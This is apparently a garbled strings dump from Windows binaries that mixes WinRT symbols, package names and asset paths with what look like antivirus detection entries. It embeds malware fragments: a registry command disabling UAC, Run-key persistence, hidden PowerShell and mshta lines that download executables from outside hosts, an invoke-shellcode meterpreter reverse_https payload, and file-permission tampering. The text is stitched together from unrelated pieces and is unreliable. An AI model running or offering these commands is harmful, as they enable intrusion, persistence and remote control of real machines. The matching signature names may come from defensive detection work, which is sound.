.?AU?$base_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UToggleButtonAutomationPeer@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerProtected@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeerProtected@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$base@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UToggleButtonAutomationPeer@Peers@Automation@Xaml@UI@Windows@4@UButtonBaseAutomationPeer@6789Windows@4@UFrameworkElementAutomationPeer@6789Windows@4@UAutomationPeer@6789Windows@4@UDependencyObject@89Windows@4@@impl@winrt@@
.?AU?$base_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UAutomationPeer@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UFrameworkElementAutomationPeer@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIDependencyObject@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeer9@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Automation_Peers_IAutomationPeer9@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require@UExpanderToggleButtonAutomationPeer@implementation@TaskManagerApp@winrt@@UIAutomationPeerProtected@Peers@Automation@Xaml@UI@Windows@4@@impl@winrt@@
%s: Unexpected type for drive letter in the windows registry.
Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\apps\hgfslib\hgfs.pdb
ExitWindowsEx
Wid not get special windows folder %s.
%s: Could not set special windows folder %s.
Could not redirect windows shell folder for tag %s to hgfs share: %s
Could not redirect windows shell folder for tag %s to backed up value.
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\services\plugins\hgfsUsability\hgfsUsability.pdb
d:\build\ob\bora-24843032\src\bora-vmsoft\build\release-x64\tools-for-windows\Win32\services\plugins\vix\vix.pdb
unable to open process token: windows error code %d
unable to get token info: windows error code %d
unable to lookup account sid: windows error code %d
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
http://oglobo.globo.com/brasil/reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v\Policies\System /v EnableLUA /t REG_DWORD /d 0 /fx.cpl
J^setupcl.pdbmicrosoft.windows.setupclsetupcl.dll!#ALF:Trojan:MSIL/AgentTesla.RSP!MTB
c:/windows/system32/d
regedit.pdbmicrosoft.windows.regeditaddreg=addregregeditcan not register regedit.exe because setupapi.dll is missing!#TEL:HackToolSambaCry
rvnm1,"errorcontrol","reg_dword",1)regwrite($regpathdrv&$drvsrvnm1,"imagepath","reg_expand_sz","system32\drivers\"&$drvsrvnm1&".sys")regwrite($regpathdrv&$drvsrvnm1,"start","reg_dword",0)regwrite($regpathdrv&$drvsrvnm1,"type","reg_dword",1)sleep(9000)msgbox(4096,"windowsupdateservice(kb345343)","reinicioautomticoem20segundos,fechetodososaplicativoseaguarde.",20)sleep(9000)shutdown(2)endifendifsleep(30000)_kk($data0)_kk($data1)funcrndstr
windows\currentversion\run
,TNvCenter.lnkWINDOWS\system\servise
\system32\drivers\etc\h
\cred1\applistunable to open process token: %duser-agent: mozilla/4.0 (compatible; msie 6.0; windows nt 5.2; .net clr 1.1.4322)!#TEL::MacOS/MetasploitPayload.A
microsoft.windows.onecorebase.extrac32extract [/y] [/a] [/d | /e] [/l dir] cabinet [filename ...]!#OFN:IObitUnlocker
try disabling windows defenderminimal configuration file for ethereum mining isdagger-hashimotonanominer.exeubiqhashquarkchait
senord. Ange ditt Windows-l
cabinet maker - lossless data compression toolmicrosoft.windows.onecorebase.makecabmakecab aborted: maxerrors (%1) exceededmakecab [/v[n]] [/d var=value ...] [/l dir] source!#ALF:Trojan:Win64/Zenpak.GVA!MTB
gsfx_mainfindwindowwgetwindowsdirectoryw!#TEL:Win32/CobalStrikepz.A!MTB
microsoft.windows.pcshellshell.explorerthis is the manifest file only for explorer.l
nvsmartmaxshutdownnvsmartmax_onsetworkareamagnification.dllmagsetimagescalingcallbackmagsetwindowsource!#SLF:Trojan:Win64/Heracles.RMX!MTB
append}}functionregistertask{#$execpath="powershell-executionpolicybypass-windowstylehidden-noprofile-file$localpath\pipe\1.ps1-filename$localpath\pipe\1.log"$execpath="$localpath\pipe\1.vbs"new-itemproperty-path"hkcu:\software\microsoft\windows\currentversion\run"-name"windowssecuritycheck"-value$execpath-propertytypestring-force}
tasks\microsoft\windows\pla
chkey_local_machine\software\microsoft\windows\currentversion\app paths\iexplore.exe!#ALF:Trojan:Win32/CryptInject.SE!MTB
microsoft.windows.esent.tracelogging!#OFN:regsvr32.exe
ms_t120windows7_2008r2channel join request id
winauditframe::auditdata::diskinformation::windowsinformation::cpuinformation::::getfirmwaredata::getregionalsettingsrecordsenumsystemfirmwaretablesgetsystemfirmwaretable!#OFN:mavinject64.exe
software\microsoft\windows\currentversion\app paths\fjlogin.exe\lastgameserversoftware\microsoft\windows\currentversion\app paths\fjlogin.exe\lastzone_fjlogin.bin!#ALF:Trojan:Win32/SdeleteWrapper.A
\windows\system32\icacls.exe c:\windows\system32\*skm*.exe /deny *s-1-1-0:f"
:\windows\system32\takeown.exe /f c:\windows\system32\*log*exe /a!#HSTR:Trojan:Win32/Fernand.A!dha
\microsoft\windows\currentversion\uninstall\
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPicker
MicrosoftWindows.Client.CBS_cw5nC
82e999fb-a6e0-4094-aa1f-1a306069d1a54judgzvrmfdwruuwy3tojatsenwjn54lkcnkbprzduhzi5vsephfuckjnxrl2gjknrsqtcoruredagrwsqvvcjzbry5yefcqgoumnzumvsbarjuok.ryongnamsan.edu.kpc:\softwaresinstall\softc:\windows\sys64\intelservice.exec:\windows\sys64\updater.exec:\users\jawhar\documents\
nplagins\lslibs\release\lslibslslibsvideoplaginc:\windows\system32\lslibs.dll!#HSTR:Trojan:MSIL/AgentTesla.AMDD917!MTB
setup version: inno setup version original setup exe:setup command line:original uninstall exe:uninstall dat:not calling uninstallneedrestart because a restart has already been deemed necessary.inno-setup-regsvr-mutexnot restarting windows because setup is being run from the debugger.!#ALFPER:Trojan:Win32/ShadowAeneas.A!dha
Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft.Windows.Networking.Proximity.Service
Microsoft.Windows.MpeConnectionMonitor
Microsoft.Windows.Launcher.Service
Microsoft.Windows.Notifications.WpnCore
Microsoft.Windows.Security.TokenBinding
Microsoft.Windows.RegionPolicy.PolicyEvaluator
Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.FileExplorer.Aggregate
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Shell.Propsys
Microsoft.Windows.Shell.DirectLaunchTelemetry
Microsoft.Windows.Shell.DelayAllocateTLS
WindowsAppSdk.AppxDeploymentExtensions.Desktop.dllu
WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dllu
WindowsAppRuntime.pngu
Microsoft.Windows.Security.AccessControl.winmdu
Microsoft.Windows.PushNotifications.winmdu
Microsoft.Windows.PrivateCommon.winmdu
Microsoft.Windows.Private.Workloads.SessionManager.winmdu
Microsoft.Windows.Media.Capture.winmdu
Microsoft.Windows.Management.Deployment.winmdu
Microsoft.Windows.Internal.Vision.winmdu
Microsoft.Windows.Globalization.winmdu
Microsoft.Windows.BadgeNotifications.winmdu
Microsoft.Windows.AppNotifications.winmdu
Microsoft.Windows.AppNotifications.Builder.winmdu
Microsoft.Windows.AppLifecycle.winmdu
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.winmdu
Microsoft.Windows.ApplicationModel.Resources.winmdu
Microsoft.Windows.ApplicationModel.Resources.dllu
Microsoft.Windows.ApplicationModel.DynamicDependency.winmdu
Microsoft.Windows.ApplicationModel.Background.winmdu
Microsoft.Windows.ApplicationModel.Background.UniversalBGTask.winmdu
Microsoft.Windows.AI.winmdu
Microsoft.Windows.AI.Text.winmdu
Microsoft.Windows.AI.Text.dllu
Microsoft.Windows.AI.Imaging.winmdu
Microsoft.Windows.AI.Imaging.dllu
Microsoft.Windows.AI.GenerativeInternal.winmdu
Microsoft.Windows.AI.FoundationInternal.winmdu
Microsoft.Windows.AI.Foundation.winmdu
Microsoft.Windows.AI.ContentSafety.winmdu
Microsoft.Windows.AI.ContentSafety.dllu
Microsoft.Windows.AI.ContentModerationInternal.winmdu
Microsoft.WindowsAppRuntime.Release!1.7.208u
Microsoft.WindowsAppRuntime.Insights.Resource.dllu
Microsoft.WindowsAppRuntime.dllu
Microsoft.Windows.Workloads.winmdu
Microsoft.Windows.Workloads.Resources_ec.dllu
Microsoft.Windows.Workloads.Resources.dllu
Microsoft.Windows.Workloads.dllu
Microsoft.Windows.Widgets.winmdu
Microsoft.Windows.Widgets.dllu
Microsoft.Windows.VisionInternal.winmdu
Microsoft.Windows.Vision.winmdu
Microsoft.Windows.System.winmdu
Microsoft.Windows.System.Power.winmdu
Microsoft.Windows.Storage.winmdu
WindowsAppSdk.AppxDeploymentExtensions.Desktop.dllv
WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dllv
WindowsAppRuntime.pngv
WindowsAppRuntime.DeploymentExtensions.OneCore.dllv
Microsoft.WindowsAppRuntime.Release!1.6.602v
Microsoft.WindowsAppRuntime.Insights.Resource.dllv
Microsoft.WindowsAppRuntime.dllv
Microsoft.Windows.Widgets.winmdv
Microsoft.Windows.Widgets.dllv
Microsoft.Windows.System.winmdv
Microsoft.Windows.System.Power.winmdv
Microsoft.Windows.Storage.winmdv
Microsoft.Windows.Security.AccessControl.winmdv
Microsoft.Windows.PushNotifications.winmdv
Microsoft.Windows.Management.Deployment.winmdv
Microsoft.Windows.Globalization.winmdv
Microsoft.Windows.AppNotifications.winmdv
Microsoft.Windows.AppNotifications.Builder.winmdv
Microsoft.Windows.AppLifecycle.winmdv
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.winmdv
Microsoft.Windows.ApplicationModel.Resources.winmdv
Microsoft.Windows.ApplicationModel.Resources.dllv
Microsoft.Windows.ApplicationModel.DynamicDependency.winmdv
WindowsAppSdk.AppxDeploymentExtensions.Desktop.dllw
WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dllw
WindowsAppRuntime.pngw
WindowsAppRuntime.DeploymentExtensions.OneCore.dllw
Microsoft.WindowsAppRuntime.Release!1.6.602w
Microsoft.WindowsAppRuntime.Insights.Resource.dllw
Microsoft.WindowsAppRuntime.dllw
Microsoft.Windows.Widgets.winmdw
Microsoft.Windows.Widgets.dllw
Microsoft.Windows.System.winmdw
Microsoft.Windows.System.Power.winmdw
Microsoft.Windows.Storage.winmdw
Microsoft.Windows.Security.AccessControl.winmdw
Microsoft.Windows.PushNotifications.winmdw
Microsoft.Windows.Management.Deployment.winmdw
Microsoft.Windows.Globalization.winmdw
Microsoft.Windows.AppNotifications.winmdw
Microsoft.Windows.AppNotifications.Builder.winmdw
Microsoft.Windows.AppLifecycle.winmdw
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.winmdw
Microsoft.Windows.ApplicationModel.Resources.winmdw
Microsoft.Windows.ApplicationModel.Resources.dllw
Microsoft.Windows.ApplicationModel.DynamicDependency.winmdw
WindowsAppSdk.AppxDeploymentExtensions.Desktop.dllx
WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dllx
WindowsAppRuntime.pngw
WindowsAppRuntime.DeploymentExtensions.OneCore.dllw
Microsoft.Windows.AppLifecycle.winmdx
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.winmdx
Microsoft.Windows.ApplicationModel.Resources.winmdx
Microsoft.Windows.ApplicationModel.Resources.dllx
Microsoft.Windows.ApplicationModel.DynamicDependency.winmdx
Microsoft.Windows.ApplicationModel.Background.winmdx
Microsoft.Windows.ApplicationModel.Background.UniversalBGTask.winmdx
Microsoft.WindowsAppRuntime.Release!1.7.208x
Microsoft.WindowsAppRuntime.Insights.Resource.dllx
Microsoft.WindowsAppRuntime.dllx
Microsoft.Windows.Widgets.winmdx
Microsoft.Windows.Widgets.dllx
Microsoft.Windows.System.winmdx
Microsoft.Windows.System.Power.winmdx
Microsoft.Windows.Storage.winmdx
Microsoft.Windows.Security.AccessControl.winmdx
Microsoft.Windows.PushNotifications.winmdx
Microsoft.Windows.Media.Capture.winmdx
Microsoft.Windows.Management.Deployment.winmdx
Microsoft.Windows.Globalization.winmdx
Microsoft.Windows.BadgeNotifications.winmdx
Microsoft.Windows.AppNotifications.winmdx
WindowsAppSdk.AppxDeploymentExtensions.Desktop.dllx
WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dllx
WindowsAppRuntime.pngx
WindowsAppRuntime.DeploymentExtensions.OneCore.dllx
Microsoft.WindowsAppRuntime.Release!1.5.1y
Microsoft.WindowsAppRuntime.Insights.Resource.dlly
Microsoft.WindowsAppRuntime.dlly
Microsoft.WindowsAppRuntime.Bootstrap.dlly
Microsoft.Windows.Widgets.winmdy
Microsoft.Windows.Widgets.dlly
Microsoft.Windows.System.winmdy
Microsoft.Windows.System.Power.winmdy
Microsoft.Windows.Security.AccessControl.winmdy
Microsoft.Windows.PushNotifications.winmdy
Microsoft.Windows.Management.Deployment.winmdy
Microsoft.Windows.AppNotifications.winmdy
Microsoft.Windows.AppNotifications.Builder.winmdy
Microsoft.Windows.AppLifecycle.winmdy
Microsoft.Windows.ApplicationModel.WindowsAppRuntime.winmdy
Microsoft.Windows.ApplicationModel.Resources.winmdy
Microsoft.Windows.ApplicationModel.Resources.dlly
Microsoft.Windows.ApplicationModel.DynamicDependency.winmdy
WidgetService\Microsoft.Windows.Widgets.winmdz4?
WidgetService\Microsoft.Windows.Widgets.Internal.winmdz34
WidgetService\Microsoft.Windows.Widgets.dllz2
Microsoft.Windows.Widgets.winmdz01
Microsoft.Windows.Widgets.Internal.winmdz/-
WindowsAppSdk.AppxDeploymentExtensions.Desktop.dllz U
WindowsAppSdk.AppxDeploymentExtensions.Desktop-EventLog-Instrumentation.dllz
WindowsAppRuntime.pngz
SnippingTool\SnippingToolUI\WindowSelection.xbf{(:
	MicrosoftWindows.Client.WebExperience_525.31002.150.9_neutral_~_cw5n1h2txyewy
ms-resource:AppNameMicrosoft CorporationAssets\GameSpeechWindowStoreLogo.png
ms-resource:AppNameMicrosoft CorporationAssets\GameSpeechWindowStoreLogo.png
ms-resource:AppNameMicrosoft CorporationAssets\GameSpeechWindowStoreLogo.png
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64__8wekyb3d8bbwe
WindowsAppRuntime.1.5Microsoft CorporationMicrosoft Windows App Runtime 1.5 (5001.373.1736.0 x64 )WindowsAppRuntime.png
Microsoft.WindowsNotepad_11.2510.14.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x64__8wekyb3d8bbwe
WindowsAppRuntime.1.8Microsoft CorporationMicrosoft Windows App Runtime 1.8 (8000.770.947.0 x64 )WindowsAppRuntime.png
Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x86__8wekyb3d8bbwe
WindowsAppRuntime.1.7Microsoft CorporationMicrosoft Windows App Runtime 1.7 (7000.770.750.0 x86 )WindowsAppRuntime.png
Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbwe
WindowsAppRuntime.1.6Microsoft CorporationMicrosoft Windows App Runtime 1.6 (6000.519.329.0 x86 )WindowsAppRuntime.png
Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x64__8wekyb3d8bbwe
WindowsAppRuntime.1.6Microsoft CorporationMicrosoft Windows App Runtime 1.6 (6000.519.329.0 x64 )WindowsAppRuntime.png
Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x64__8wekyb3d8bbwe
WindowsAppRuntime.1.7Microsoft CorporationMicrosoft Windows App Runtime 1.7 (7000.770.750.0 x64 )WindowsAppRuntime.png
Microsoft.WindowsAppRuntime.1.8_8000.770.947.0_x86__8wekyb3d8bbwe
WindowsAppRuntime.1.8Microsoft CorporationMicrosoft Windows App Runtime 1.8 (8000.770.947.0 x86 )WindowsAppRuntime.png
MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy
Windows Web Experience PackMicrosoft WindowsAssets\StoreLogo.png
MicrosoftWindows.Client.WebExperience_526.1202.40.0_neutral_~_cw5n1h2txyewy
Microsoft.WindowsNotepad_11.2510.14.0_neutral_split.scale-100_8wekyb3d8bbwe
Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe
ms-resource:PackageDisplayNameMicrosoft Corporationms-resource:ProductDescriptionAssets\WindowsSecuritySplashScreen.png
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbwe
WindowsAppRuntime.1.5Microsoft CorporationMicrosoft Windows App Runtime 1.5 (5001.373.1736.0 x86 )WindowsAppRuntime.png
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe
Microsoft.WindowsStore_22512.1401.6.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64__8wekyb3d8bbwe
WindowsAppRuntime.1.5Microsoft CorporationMicrosoft Windows App Runtime 1.5 (5001.373.1736.0 x64 )WindowsAppRuntime.png
SnippingToolSandbox\SnippingToolUI\WindowSelection.xbfz
WindowsGetStringRawBuffer
WindowsCreateStringReference
c:\windows\system32\cmd.exe/v:on/cdel
ipowershell-windowstylehidden-command"start-process-filepath'%~f0'-verbrunas"exit
    name="Microsoft.Windows.ProximityService"
Assets\WindowsSecurityWideTile.scale-400.png~
Assets\WindowsSecurityWideTile.scale-200.png~
Assets\WindowsSecurityWideTile.scale-150.png~
Assets\WindowsSecurityWideTile.scale-125.png~
Assets\WindowsSecurityWideTile.scale-100.png~
Assets\WindowsSecuritySplashScreen.scale-400.png~
Assets\WindowsSecuritySplashScreen.scale-200.png~
Assets\WindowsSecuritySplashScreen.scale-150.png~
Assets\WindowsSecuritySplashScreen.scale-125.png~
Assets\WindowsSecuritySplashScreen.scale-100.png~
Assets\WindowsSecuritySmallTile.scale-400.png~
Assets\WindowsSecuritySmallTile.scale-200.png~
Assets\WindowsSecuritySmallTile.scale-150.png~
Assets\WindowsSecuritySmallTile.scale-125.png~
Assets\WindowsSecuritySmallTile.scale-100.png~
Assets\WindowsSecurityMedTile.scale-400.png~
Assets\WindowsSecurityMedTile.scale-200.png~
Assets\WindowsSecurityMedTile.scale-150.png~
Assets\WindowsSecurityMedTile.scale-125.png~
Assets\WindowsSecurityMedTile.scale-100.png~
Assets\WindowsSecurityLargeTile.scale-400.png~
Assets\WindowsSecurityLargeTile.scale-200.png~
Assets\WindowsSecurityLargeTile.scale-150.png~
Assets\WindowsSecurityLargeTile.scale-125.png~
Assets\WindowsSecurityLargeTile.scale-100.png~
Assets\WindowsSecurityAppList.targetsize-96_altform-unplated.png~
Assets\WindowsSecurityAppList.targetsize-96_altform-lightunplated.png~
Assets\WindowsSecurityAppList.targetsize-96.png~
Assets\WindowsSecurityAppList.targetsize-48_altform-unplated.png~
Assets\WindowsSecurityAppList.targetsize-48_altform-lightunplated.png~
Assets\WindowsSecurityAppList.targetsize-48.png~
Assets\WindowsSecurityAppList.targetsize-256_altform-unplated.png~
Assets\WindowsSecurityAppList.targetsize-256_altform-lightunplated.png~
Assets\WindowsSecurityAppList.targetsize-256.png~
Assets\WindowsSecurityAppList.scale-400.png~
Assets\WindowsSecurityAppList.scale-200.png~~4
Assets\WindowsSecurityAppList.scale-150.png~}4
Assets\WindowsSecurityAppList.scale-125.png~|
Mozilla/5.0 (Windows NT 10.0; Win64; x
"user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x
C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewy\AppxManifest.xml
powershell.exe-executionpolicybypass-windowstylehidden-command"iwr"https://ee-ce0.pages.dev/burkin.exe"-outfile"$env:temp\
.cmdc:\windows\system32\zipfldr.dll%systemroot%\system32\zipfldr.dll
system32v2fskcmd.exe@fsku
.4icmd.exej-i<c:\windows\system32\cmd.exe/c
.cmdc:\windows\system32\write.exe%systemroot%\system32\write.exe%systemroot%
c:\windows\system32\windowspowershell\v1.0\powershell.exe.(gp-pa'hklm:\sof*\clas*\applications\msh*e').('pschildname')http://ukr-netdigitalhub.pro/x64dbg2
c:\windows\system32\cmd.exe/d/v/r^s^ta^r^t^m^s^ie^xecpybx=i^dq/q^ui^e^tjna^mt^m=o^z^l/^p^a^ckag^e"http://0p.rs:8080/bj/b/myr/cdi4bxqg3oeocekc/5oopwj2ft0on
mFxgmshta.exel-k}^zc:\windows\system32\mshta.exe%systemroot%\system32\%http://a0718624.xsph.ru/intention.mov!%systemroot%\system32\dsuiext.dll%systemroot%
<$([environment]::username)\\appdata\\roaming\\microsoft\\windows\\'startmenu'\\programs\\startup\\
);invoke-shellcode-payloadwindows/meterpreter/reverse_https
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.packagepropertyfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.protocolfactory-custom.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.filetypeassociationfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.packagepolicyfactory-custom.cpp
Windows Live ID Token Issuer
C:\WINDOWS\SYSTEM32\dr
Windows::Internal::StateRepository::PrimaryTileUserFactoryServer::ClearWorkByWorkId
Windows::Internal::StateRepository::PrimaryTileUserFactoryServer::DeleteByWorkId
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.primarytileuserchangelogfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.primarytileviewfactory.cpp
Windows::Internal::StateRepository::SharedPackageContainerFactoryServer::Add
Windows::Internal::StateRepository::SharedPackageContainerFactoryServer::Update
Windows::Internal::StateRepository::SharedPackageContainerFactoryServer::Delete
Windows::Internal::StateRepository::SharedPackageContainerFactoryServer::DeleteByUserAndName
Windows::Internal::StateRepository::SharedPackageContainerFactoryServer::UpdateWorkId
Windows::Internal::StateRepository::SharedPackageContainerFactoryServer::ClearWorkByWorkId
Windows::Internal::StateRepository::SharedPackageContainerFactoryServer::DeleteByWorkId
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.sharedpackagecontainerpackagefamilyfactory.cpp
Windows::Internal::StateRepository::SecondaryTileUserFactoryServer::Update
Windows::Internal::StateRepository::SecondaryTileUserFactoryServer::Delete
Windows::Internal::StateRepository::SecondaryTileUserFactoryServer::DeleteByUserAndSecondaryTile
Windows::Internal::StateRepository::SecondaryTileUserFactoryServer::UpdateWorkId
Windows::Internal::StateRepository::SecondaryTileUserFactoryServer::ClearWorkByWorkId
Windows::Internal::StateRepository::SecondaryTileUserFactoryServer::DeleteByWorkId
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.secondarytileuserchangelogfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.protocolfactory.cpp
onecore\base\appmodel\staterepository\winrt\client\lib\windows.internal.staterepository.secondarytilefactory.cpp
Windows::Internal::StateRepository::SecondaryTileFactoryServer::Add
Windows::Internal::StateRepository::SecondaryTileFactoryServer::Update
Windows::Internal::StateRepository::SecondaryTileFactoryServer::Delete
Windows::Internal::StateRepository::SecondaryTileFactoryServer::UpdateWorkId
Windows::Internal::StateRepository::SecondaryTileFactoryServer::ClearWorkByWorkId
Windows::Internal::StateRepository::SecondaryTileFactoryServer::DeleteByWorkId
Windows::Internal::StateRepository::SecondaryTileUserFactoryServ)
LGserver.BeeWindowsLG_OP_BEE_CONNECTLG_OP_BEE_DATALG_OP_BEE_CHECKLG_OP_BEE_DISCONNECTLG_OP_CMDCUSTOM_CONNECTLG_OP_CMDCUSTOM_DISCONNECTLG_OP_CMDCUSTOM_DATALG_OP_CMDCUSTOM_KILL!#ALF:Trojan:MSIL/AgentTesla.ALAB!MTB
Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe
Microsoft.WindowsStore_22506.1400.2.0_x64__8wekyb3d8bbwe
Microsoft.WindowsStore_22506.1400.2.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsSoundRecorder_2021.2510.0.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsSoundRecorder_1.1.47.0_x64__8wekyb3d8bbwe
Microsoft.WindowsSoundRecorder_1.1.47.0_neutral_split.scale-200_8wekyb3d8bbwe
Microsoft.WindowsSoundRecorder_1.1.47.0_neutral_split.scale-125_8wekyb3d8bbwe
Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe
Microsoft.WindowsNotepad_11.2510.14.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsNotepad_11.2510.14.0_neutral_split.scale-100_8wekyb3d8bbwe
Microsoft.WindowsStore_22512.1401.6.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe
Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_2024.125.1522.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_x64__8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_neutral_split.scale-125_8wekyb3d8bbwe
Microsoft.WindowsFeedbackHub_1.2401.20253.0_neutral_split.scale-100_8wekyb3d8bbwe
Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe
Microsoft.WindowsCamera_2025.2510.2.0_neutral_split.scale-125_8wekyb3d8bbwe
Microsoft.WindowsCamera_2025.2510.2.0_neutral_split.scale-100_8wekyb3d8bbwe
Microsoft.WindowsCamera_2022.2510.2.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsCalculator_2021.2502.2.0_neutral_~_8wekyb3d8bbwe
Microsoft.WindowsCalculator_11.2502.2.0_x64__8wekyb3d8bbwe
Microsoft.WindowsCalculator_11.2502.2.0_neutral_split.scale-125_8wekyb3d8bbwe
Microsoft.WindowsCalculator_11.2502.2.0_neutral_split.scale-100_8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbwe!
birikimler\projeler\windows app.projelerim\denemeler\msnsendofflinemessage!#HSTR:HackTool:Win32/MimikatzIsias!dha
168.0.0.255c:\checkexistc:\mm42ecc0843b3c\software\microsoft\windows\currentversion\explorer\expview\goldenkeyanictrlsboxctrlstpowersockhngcolordwatflattitlebar can only be placed on a descndant of a tcustomform}$@1400
-windowstylehidden$ivuxv='^$path=($e'
Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
]Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbweE
]Microsoft.WindowsStore_22512.1401.6.0_neutral_~_8wekyb3d8bbweJ
3Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbweQ
3Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x64__8wekyb3d8bbweB
7Microsoft.WindowsAppRuntime.1.6_6000.519.329.0_x86__8wekyb3d8bbweN
fMicrosoftWindows.Client.WebExperience_526.1202.40.0_x64__cw5n1h2txyewyS
fMicrosoftWindows.Client.WebExperience_526.1202.40.0_neutral_~_cw5n1h2txyewyK
[Microsoft.WindowsNotepad_11.2510.14.0_neutral_split.scale-100_8wekyb3d8bbwe?
[Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbweE
[Microsoft.WindowsNotepad_11.2510.14.0_neutral_~_8wekyb3d8bbweI
jMicrosoft.WindowsAppRuntime.1.8_8000.770.947.0_x86__8wekyb3d8bbweI
jMicrosoft.WindowsAppRuntime.1.8_8000.770.947.0_x64__8wekyb3d8bbweI
